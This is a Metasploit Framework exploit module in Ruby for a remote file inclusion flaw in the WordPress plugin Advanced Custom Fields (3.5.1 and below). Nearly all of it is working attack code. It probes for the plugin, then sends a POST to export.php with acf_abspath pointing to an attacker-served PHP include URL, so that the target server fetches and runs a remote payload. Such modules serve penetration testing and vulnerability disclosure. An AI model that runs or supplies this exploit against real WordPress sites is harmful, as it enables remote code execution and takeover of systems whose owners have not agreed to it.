WordPress Plugin Advanced Custom Fields – Remote File Inclusion (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::PHPInclude def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion', 'Description' => %q{ This module exploits a remote file inclusion flaw in the WordPress blogging software plugin known as Advanced Custom Fields. The vulnerability allows for remote file inclusion and remote code execution via the export.php script. The Advanced Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only works when the php option allow_url_include is set to On (Default Off). }, 'Author' => [ 'Charlie Eriksen <charlie@ceriksen.com>', ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '87353'], ['URL', 'http://secunia.com/advisories/51037/'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'ConnectionType' => 'find', }, }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Nov 14 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']), OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']), ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' uri << datastore['PLUGINSPATH'] uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}advanced-custom-fields/core/api.php" }) if res and res.code == 200 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def php_exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' uri << datastore['PLUGINSPATH'] uri << '/' if uri[-1,1] != '/' print_status('Sending request') res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}advanced-custom-fields/core/actions/export.php", 'data' => "acf_abspath=#{php_include_url}" }) if res and res.body =~ /allow_url_include/ fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled') elsif res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end end end |